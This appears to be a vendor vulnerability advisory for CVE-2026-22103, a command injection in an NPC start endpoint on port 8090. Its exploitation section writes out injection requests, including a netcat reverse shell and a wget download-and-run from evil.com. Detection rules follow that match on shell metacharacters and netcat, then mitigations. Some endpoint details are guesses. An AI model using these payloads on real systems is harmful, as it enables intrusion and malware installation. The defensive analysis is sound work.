CVE-2026-22103
Executive Summary
CVE-2026-22103 is a critical, unauthenticated command injection vulnerability in the NPC start endpoint of the web server running on port 8090 of an unidentified vendor's product (attributed to DIVD). The flaw allows a remote, unauthenticated attacker to execute arbitrary operating system commands with the privileges of the web server process. With a CVSS score of 9.3, exploitation results in complete compromise of confidentiality, integrity, and availability. The vulnerability is highly likely to be targeted by opportunistic and ransomware-affiliated threat actors, given the public availability of PoC/exploit discussion and the simplicity of the attack vector.
As of this report, no patch is available (Patch Confidence: 0/4). The only effective defensive measures are immediate network-level access controls and continuous monitoring for exploitation attempts. Affected systems should be assumed compromised if exposed to untrusted networks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
CVE-2026-22103 stems from an improper neutralization of special elements used in an OS command (CWE-78) within the NPC start web endpoint. The web server listens on TCP port 8090 and exposes an HTTP endpoint (likely /start or /npc/start) that accepts user-supplied parameters. These parameters are concatenated into a system-level command (e.g., via system(), popen(), or ProcessBuilder without shell escaping) and executed by the underlying operating system.
The vulnerability mechanism is as follows:
- Input Vector: The start endpoint accepts HTTP requests (GET or POST) with one or more parameters that control the startup of an NPC service. A parameter such as
cmdorargsis passed directly to the shell. - Injection Point: The application constructs a command string such as
npc start -server=USER_INPUTand executes it. TheUSER_INPUTis never sanitized, allowing metacharacters like;,&&,|,$(), or backticks to be interpreted by the shell. - Execution Context: The command runs with the privileges of the web server process. If the service runs as root or a high-privilege account (typical for services that must bind to low ports or manage system services), the attacker gains immediate root-level command execution.
- Authentication: The endpoint does not require authentication (AV:N/PR:N/UI:N in the CVSS vector confirms network-reachable, no privileges, no user interaction).
The attack surface is significant because port 8090 is a non-standard port likely used for internal management. However, if this port is exposed to the internet—either directly, via port forwarding, or through misconfigured cloud security groups—the service is trivially reachable. Shodan and similar search engines index many alternative HTTP ports, making the exposed service discoverable by automated scanners.
There is no CISA KEV listing and no established patch. The absence of a vendor fix combined with a 9.3 CVSS score makes this a prime target for niche exploit botnets that scan for web management interfaces. The EPSS percentile of 56.5% indicates that while the absolute probability of exploitation is low (0.9%), the wider distribution of scanning for this class of vulnerability makes it more likely than average to be targeted once the CVE gains public attention.
Exploitation Scenarios
The following attack chain is representative of how a threat actor would exploit this vulnerability:
Step 1 — Reconnaissance: The attacker uses Shodan with filters such as port:8090 http.title:"NPC" or port:8090 product:"HTTP" to identify exposed services. Shodan's HTTP banner grabbing will reveal the server type and possibly the NPC service name. Automated scanners (e.g., nuclei-like custom scripts) probe the /start endpoint with benign payloads to confirm the vulnerability.
Step 2 — Trigger / Weaponization: The attacker sends a crafted HTTP request to the vulnerable endpoint. A typical request is:
GET /start?cmd=service%20restart%20;%20cat%20/etc/passwd HTTP/1.1
Host: target:8090
Or via POST body: cmd=npc start && id. The shell interprets the && as a command separator, executing both the legitimate command and the injected payload.
More sophisticated payloads may use $(whoami) to avoid breaking the original argument parsing:
GET /start?server=test;$(whoami) HTTP/1.1
Step 3 — Payload / Execution: The attacker escalates command execution to a reverse shell or a bind shell:
GET /start?cmd=npc start;nc -e /bin/sh 192.168.1.100 4444 HTTP/1.1
Or downloads and executes a second-stage payload (e.g., Mirai variant, coin miner, or remote access trojan):
GET /start?cmd=npc start;wget http://evil.com/payload -O /tmp/p;chmod +x /tmp/p;/tmp/p
Step 4 — Post-Exploitation: With command execution, the attacker will:
- Establish persistence via cron jobs, systemd services, or modifying startup scripts.
- Move laterally within the network using harvested credentials from
/etc/shadow, environment variables, or configuration files. - Disable security monitoring (e.g.,
iptables -F, kill AV agents). - Use the compromised host as a pivot point for further internal attacks or as a node in a botnet.
The entire attack from scanning to full system compromise can be fully automated and completed in under 60 seconds per target.
Impact Assessment
The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H highlights:
- Attack Vector (AV:N): Exploitable remotely over the network, no physical or adjacent access needed.
- Attack Complexity (AC:L): No special conditions; the endpoint is immediately vulnerable as deployed.
- Privileges Required (PR:N): No authentication required.
- User Interaction (UI:N): No victim action needed.
- Confidentiality (C:H): Full read access to files, memory, and data on the host.
- Integrity (I:H): Full ability to modify or destroy data and system binaries.
- Availability (A:H): Complete denial of service or full system takeover possible.
Business Impact:
- Vertical: The affected system manages NPC services, which may be part of a cloud-native load-balancing or virtual network infrastructure. A compromise could disrupt service availability for all downstream clients.
- Data Exit: Exfiltration of secrets stored on the host (API keys, database credentials, TLS private keys) that can be leveraged for further attacks.
- Reputation: Service outages or data breaches affect customer trust and regulatory compliance (GDPR, HIPAA if healthcare data is present).
Blast Radius:
- Direct: The web server host.
- Indirect: Any back-end systems or networks reachable from the compromised host. Given high-privilege execution, the attacker can likely reach cloud metadata services (e.g., 169.254.169.254) to obtain IAM credentials if running in a cloud environment, significantly expanding the blast radius.
Detection Guidance
Sigma Rule
title: CVE-2026-22103 Command Injection in NPC Start Endpoint
id: 03f9b1c4-5a2e-4c7d-9f3b-1a2b3c4d5e6f
status: experimental
description: Detects command injection attempts against the NPC start endpoint on port 8090
author: Valtersit Threat Intelligence
logsource:
category: webserver
product: generic
detection:
selection:
http.url|contains:
- '/start'
keywords:
http.url|contains:
- ';'
- '|'
- '&&'
- '$('
- '`'
condition: selection and keywords
level: high
falsepositives:
- Legitimate automated tools using shell syntax in parameters (rare)
YARA Rule
rule CVE_2026_22103_NPC_Command_Injection
{
meta:
author = "Valtersit Threat Intelligence"
description = "Detects command injection payloads targeting NPC start endpoint"
cve = "CVE-2026-22103"
date = "2026-02-10"
strings:
$a = "/start?"
$b = "npc start"
$c = ";id" ascii nocase
$d = "&&whoami" ascii nocase
$e = "$(whoami)" ascii nocase
$f = "|nc " ascii nocase
$g = "|sh" ascii nocase
condition:
any of ($a,$b) and any of ($c,$d,$e,$f,$g)
}
Suricata IDS Rule
alert http any any -> any 8090 (msg:"CVE-2026-22103 - NPC start command injection attempt"; flow:established,to_server; http.uri; content:"/start"; http.uri; pcre:"/(;|\|\||\$\(|`)/Ui"; classtype:web-application-attack; reference:cve,CVE-2026-22103; sid:1000001; rev:1;)
Elastic Detection
sequence by host.name
[ network where destination.port == 8090 and event.action == "connection_accepted" ]
[ http where url.path == "/start" and
(url.query contains ";" or url.query contains "&&" or url.query contains "$(" or url.query contains "`") ]
Splunk SPL Query
index=web sourcetype=access_combined dest_port=8090
| where uri_path="/start" OR uri_path LIKE "%/start%"
| regex uri_query="(;|\|\||\$\(|`)"
| table _time, src_ip, dest_ip, http_method, uri_query, user_agent
| sort - _time
Wazuh OSSEC Rule
<rule id="100005" level="12">
<decoded>web-access</decoded>
<match>/start</match>
<regex>(;|\|\||\$\(|`)</regex>
<description>CVE-2026-22103 - Possible command injection in NPC start endpoint</description>
<group>web_application_attack</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
Mitigation & Patch Guidance
Patch Status: UNPATCHED — no patch evidence from any tracked source. Patch Confidence: 0/4.
Immediate Mitigations:
- Network Segmentation: Immediately restrict access to port 8090. If the service must be used, place it behind a VPN or firewall and allow connections only from trusted internal IP ranges. Block port 8090 at the perimeter firewall and in cloud security groups (e.g., AWS SG, Azure NSG).
- Application-Level Filtering: Deploy a WAF (e.g., ModSecurity, Cloudflare) in front of the service to block requests containing shell metacharacters in query parameters.
- Disable the Endpoint: If the NPC start web endpoint is not actively required, disable the web service entirely or reconfigure it to listen only on localhost.
Patch/Upgrade Steps:
- Monitor vendor (DIVD) communication channels for advisory updates. Until a patch is released, there is no safe upgrade path. Do not simply update to the latest version unless the changelog explicitly references CVE-2026-22103.
- If the product is open-source, inspect the source repository for a fixed commit; if none exists, consider custom input validation (reject all metacharacters) as a short-term code-level fix.
Long-Term Hardening:
- Ensure the web server runs with the least-privileged account possible; never run as root.
- Implement mandatory static code analysis and input validation on all web endpoints.
- Deploy EDR on hosts running this service to detect and contain post-exploitation activity.
- Apply the principle of least functionality: remove unused web management interfaces from production.
References
- NVD Entry — CVE-2026-22103: https://nvd.nist.gov/vuln/detail/CVE-2026-22103
- CWE-78 (OS Command Injection): https://cwe.mitre.org/data/definitions/78.html
- MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- FIRST EPSS Score Database (CVE-2026-22103): https://www.first.org/epss/
- DIVD (Dutch Institute for Vulnerability Disclosure): https://www.divd.nl/
Threat Actor Campaigns: No specific in-the-wild campaigns have been publicly linked to CVE-2026-22103 as of this writing. However, the public PoC nature and the ease of exploitation make it highly probable that botnets (e.g., Mirai variants, Gafgyt) will incorporate this into their scanning arsenal shortly after the CVE becomes widely known. Organizations running this service exposed to the internet should treat any unsolicited request to port 8090 as a potential precursor to exploitation.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.